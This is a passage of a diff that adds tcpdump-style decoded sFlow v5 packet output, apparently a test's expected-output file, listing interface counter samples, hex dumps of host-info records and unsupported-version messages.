+	      ifindex 19, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 97068375, unicast pkts 444889, multicast pkts 1007, broadcast pkts 8350, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4110456622, unicast pkts 336462, multicast pkts 2198059, broadcast pkts 48354968, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007243, type 0, idx 20, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 20, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 85827864, unicast pkts 397199, multicast pkts 1855, broadcast pkts 9570, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4029102009, unicast pkts 295961, multicast pkts 2196786, broadcast pkts 48315955, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007206, type 0, idx 21, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 21, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 91053304, unicast pkts 438205, multicast pkts 1011, broadcast pkts 7940, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4103297026, unicast pkts 317273, multicast pkts 2197586, broadcast pkts 48306440, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 27100, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354085, uptime 15617405, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2006231, type 0, idx 22, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 22, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 34112098, unicast pkts 105160, multicast pkts 21890, broadcast pkts 87902, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3973831211, unicast pkts 170034, multicast pkts 2177391, broadcast pkts 48280299, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007385, type 0, idx 23, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 23, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 88669719, unicast pkts 426910, multicast pkts 1274, broadcast pkts 9963, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4040560781, unicast pkts 263325, multicast pkts 2198421, broadcast pkts 48355369, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007419, type 0, idx 24, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 24, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 91303939, unicast pkts 434713, multicast pkts 1082, broadcast pkts 9160, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4108976190, unicast pkts 328918, multicast pkts 2198317, broadcast pkts 48355036, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007417, type 0, idx 25, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 25, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 92997371, unicast pkts 447348, multicast pkts 1121, broadcast pkts 9663, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4037714536, unicast pkts 258087, multicast pkts 2198271, broadcast pkts 48354566, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007413, type 0, idx 26, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 26, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 736394053, unicast pkts 4302342, multicast pkts 1537, broadcast pkts 9112, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4154005710, unicast pkts 612617, multicast pkts 2197991, broadcast pkts 48350433, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007109, type 0, idx 27, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 27, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 7325604, unicast pkts 91520, multicast pkts 1016, broadcast pkts 2335, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4107132478, unicast pkts 154975, multicast pkts 2199118, broadcast pkts 48364314, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2004644, type 0, idx 28, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 28, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 15584594, unicast pkts 232478, multicast pkts 12, broadcast pkts 1252, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 250802552, unicast pkts 447550, multicast pkts 2198406, broadcast pkts 48250290, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto UDP (17), length 488)
+    15.184.4.165.49408 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.4.165, agent-id 100, seqnum 304697, uptime 568980408, samples 1, length 460
+	counter sample (2), length 424, seqnum 304697, type 2, idx 1, records 6
+	    enterprise 0, Unknown (2001) length 68
+		0x0000:  0000 0004 0000 0002 0000 0001 1cc1 de18
+		0x0010:  96f0 0000 0000 0003 0000 0001 1cc1 de18
+		0x0020:  96f0 0000 0000 0005 0000 0001 1cc1 de18
+		0x0030:  96f0 0000 0000 0006 0000 0001 0000 0000
+		0x0040:  0000 0000
+	    enterprise 0, Unknown (2005) length 52
+		0x0000:  0000 01ce 1562 3800 0000 01b5 5abb 6000
+		0x0010:  0000 07a2 0002 2ed1 0000 0000 ad27 5000
+		0x0020:  0011 36a1 03c8 c6c6 0000 014c e1b6 8800
+		0x0030:  1016 b722
+	    enterprise 0, Unknown (2004) length 72
+		0x0000:  0000 0005 e225 c000 0000 0003 848a 3000
+		0x0010:  0000 0000 0000 0000 0000 0000 13bf c000
+		0x0020:  0000 0002 3662 0000 0000 0000 0000 0000
+		0x0030:  0000 0000 0000 0000 0015 af62 299c 36d1
+		0x0040:  0000 0000 0000 0000
+	    enterprise 0, Unknown (2003) length 68
+		0x0000:  3ca3 d70a 3c23 d70a 3d23 d70a 0000 0001
+		0x0010:  0000 0186 0000 0018 0000 0640 0096 43b9
+		0x0020:  1e74 d09c 0187 6bc0 142d 000a cc79 de36
+		0x0030:  00a5 dd9a 0051 60bc 041a 9f4c 7a8f 6da7
+		0x0040:  3842 8b86
+	    enterprise 0, Unknown (2006) length 40
+		0x0000:  0000 16b2 0b31 f24e fcb8 d0dc 0000 0000
+		0x0010:  0000 032a 0000 36b3 f8ae 8e96 0ab2 541e
+		0x0020:  0000 0000 0000 0000
+	    enterprise 0, Unknown (2000) length 64
+		0x0000:  0000 0010 7072 6f78 792d 7573 6530 3331
+		0x0010:  3437 6b32 3638 3935 3431 5355 4530 3331
+		0x0020:  3437 4b32 0000 0003 0000 0002 0000 000e
+		0x0030:  322e 362e 3138 2d31 3934 2e65 6c35 0000
+IP (tos 0x0, ttl 254, id 0, offset 0, flags [none], proto UDP (17), length 100)
+    168.87.240.2.40000 > 15.184.3.9.6343: sFlow version 327681 packet not supported
+IP (tos 0x0, ttl 255, id 16476, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.3.1.41024 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.129, agent-id 2, seqnum 211306, uptime 2441326183, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 81390, type 0, idx 56, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 56, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 809903675, unicast pkts 3736015, multicast pkts 162927, broadcast pkts 30039, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3159365496, unicast pkts 3749574, multicast pkts 328087, broadcast pkts 279825377, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 6536, type 0, idx 33, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 33, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2950591154, unicast pkts 334880915, multicast pkts 13078, broadcast pkts 633, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3019300047, unicast pkts 221588667, multicast pkts 13070, broadcast pkts 62903, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81076, type 0, idx 34, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 34, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 49685433, unicast pkts 2528128710, multicast pkts 162056, broadcast pkts 1220, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2876151927, unicast pkts 678847059, multicast pkts 163438, broadcast pkts 1810770236, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81493, type 0, idx 35, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 35, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 408342602, unicast pkts 2796427385, multicast pkts 751161, broadcast pkts 740734824, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 642300096, unicast pkts 1951849543, multicast pkts 183235, broadcast pkts 22658, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81669, type 0, idx 37, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 37, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1461246724, unicast pkts 1380492582, multicast pkts 163835, broadcast pkts 140670, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 498812438, unicast pkts 3834735035, multicast pkts 174908, broadcast pkts 1255093219, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81390, type 0, idx 38, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 38, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 71981454, unicast pkts 214133, multicast pkts 162760, broadcast pkts 157, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3267993738, unicast pkts 2856556, multicast pkts 164514, broadcast pkts 1813907262, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81434, type 0, idx 39, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 39, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3630784674, unicast pkts 832589817, multicast pkts 162837, broadcast pkts 84051, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3008452523, unicast pkts 1179091938, multicast pkts 164436, broadcast pkts 1814098221, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 255, id 16477, offset 0, flags [none], proto UDP (17), length 596)
+    15.184.3.1.41024 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.129, agent-id 2, seqnum 211307, uptime 2441326343, samples 3, length 568
+	expanded counter sample (4), length 172, seqnum 81390, type 0, idx 40, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 40, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 38989430, unicast pkts 0, multicast pkts 162755, broadcast pkts 3, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2802182351, unicast pkts 56820, multicast pkts 165686, broadcast pkts 1814332502, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81138, type 0, idx 41, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 41, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 46653626, unicast pkts 85863, multicast pkts 27682, broadcast pkts 478300, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 311406364, unicast pkts 80002, multicast pkts 1261847, broadcast pkts 1178283, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 81376, type 0, idx 50, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 50, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2331728577, unicast pkts 108446058, multicast pkts 81380, broadcast pkts 1837, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 330353971, unicast pkts 160483289, multicast pkts 1588895, broadcast pkts 1448152, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 254, id 50953, offset 0, flags [none], proto UDP (17), length 956)
+    168.87.240.3.50340 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.129, agent-id 6, seqnum 444098, uptime 127118529, samples 5, length 928
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 60, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 60, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 72510805, unicast pkts 0, multicast pkts 294749, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 123866349, unicast pkts 13446, multicast pkts 736973, broadcast pkts 117224, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 61, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 61, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 72511166, unicast pkts 0, multicast pkts 294750, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2101933816, unicast pkts 33990, multicast pkts 368505, broadcast pkts 42768255, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 62, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 62, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 89171611, unicast pkts 5392, multicast pkts 294750, broadcast pkts 49641, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 124086999, unicast pkts 11982, multicast pkts 736973, broadcast pkts 117224, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 63, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 63, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 71037120, unicast pkts 0, multicast pkts 294748, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2101596784, unicast pkts 29476, multicast pkts 368505, broadcast pkts 42768255, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 64, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 64, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 71037922, unicast pkts 0, multicast pkts 294751, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 123494040, unicast pkts 7500, multicast pkts 736973, broadcast pkts 117224, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 27101, offset 0, flags [none], proto UDP (17), length 1136)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354086, uptime 15618312, samples 6, length 1108
+	expanded counter sample (4), length 172, seqnum 2007421, type 0, idx 29, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 29, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 82208831, unicast pkts 403685, multicast pkts 1054, broadcast pkts 8246, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4103781979, unicast pkts 294994, multicast pkts 2198185, broadcast pkts 48352457, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007311, type 0, idx 30, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 30, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 92569896, unicast pkts 433051, multicast pkts 1312, broadcast pkts 12292, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4037227515, unicast pkts 268387, multicast pkts 2197973, broadcast pkts 48326301, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2018134, type 0, idx 50, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 50, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1215684621, unicast pkts 3179986010, multicast pkts 4299773, broadcast pkts 2959481171, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 832983248, unicast pkts 684975702, multicast pkts 1115367, broadcast pkts 45280648, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1221174, type 0, idx 51, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 51, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 576720530, unicast pkts 537564819, multicast pkts 1613151, broadcast pkts 660268633, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 428264565, unicast pkts 1068854786, multicast pkts 344705, broadcast pkts 9140809, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1221287, type 0, idx 52, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 52, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3028289271, unicast pkts 458255786, multicast pkts 651461, broadcast pkts 541454, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3361225808, unicast pkts 1109386475, multicast pkts 163507, broadcast pkts 8683, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1221183, type 0, idx 53, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 53, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2050689076, unicast pkts 476082627, multicast pkts 164214, broadcast pkts 21756786, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2159078261, unicast pkts 1043897297, multicast pkts 163510, broadcast pkts 210489, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 62, id 0, offset 0, flags [DF], proto UDP (17), length 452)
+    15.184.13.248.50229 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.13.52, agent-id 100, seqnum 26626, uptime 798762000, samples 1, length 424
+	counter sample (2), length 388, seqnum 26626, type 2, idx 1, records 6
+	    enterprise 0, Unknown (2001) length 36
+		0x0000:  0000 0002 0000 0002 0000 0001 d485 64cc
+		0x0010:  6024 0000 0000 0003 0000 0001 d485 64cc
+		0x0020:  6025 0000
+	    enterprise 0, Unknown (2005) length 52
+		0x0000:  0000 0018 3daa e800 0000 0016 50cb 8000
+		0x0010:  0000 07e5 0000 bac1 0000 0000 29ac 2400
+		0x0020:  0003 3cc1 0044 1f88 0000 000c eeff 1000
+		0x0030:  0011 78ce
+	    enterprise 0, Unknown (2004) length 72
+		0x0000:  0000 0003 caa6 5000 0000 0003 9dc3 3000
+		0x0010:  0000 0000 0000 0000 0000 0000 0a33 d000
+		0x0020:  0000 0000 1a2a 4000 0000 0000 7ff5 6000
+		0x0030:  0000 0000 7ff5 6000 0005 3fea 019d dfe2
+		0x0040:  0000 0000 0000 0000
+	    enterprise 0, Unknown (2003) length 68
+		0x0000:  0000 0000 0000 0000 0000 0000 0000 0001
+		0x0010:  0000 0153 0000 0018 0000 0640 000c 3077
+		0x0020:  0033 efdc 0000 02da 0015 f7b6 7652 2a4a
+		0x0030:  0002 204c 0000 36ba 0001 458c 306c a669
+		0x0040:  e653 ddf6
+	    enterprise 0, Unknown (2006) length 40
+		0x0000:  0000 0000 2550 2198 005a d481 0000 0000
+		0x0010:  0000 0000 0000 0000 1a2e 15ef 002a 4d2a
+		0x0020:  0000 0000 0000 0000
+	    enterprise 0, Unknown (2000) length 60
+		0x0000:  0000 000a 7573 6530 3337 3130 6666 0000
+		0x0010:  3431 3036 3630 5355 4530 3337 3130 4646
+		0x0020:  0000 0003 0000 0002 0000 000e 322e 362e
+		0x0030:  3138 2d31 3934 2e65 6c35 0000
+IP (tos 0x0, ttl 254, id 0, offset 0, flags [none], proto UDP (17), length 100)
+    168.87.240.1.40000 > 15.184.3.9.6343: sFlow version 327681 packet not supported
+IP (tos 0x0, ttl 254, id 0, offset 0, flags [none], proto UDP (17), length 148)
+    168.87.240.1.40000 > 15.184.3.9.6343: sFlow version 327682 packet not supported
+IP (tos 0x0, ttl 254, id 8886, offset 0, flags [none], proto UDP (17), length 100)
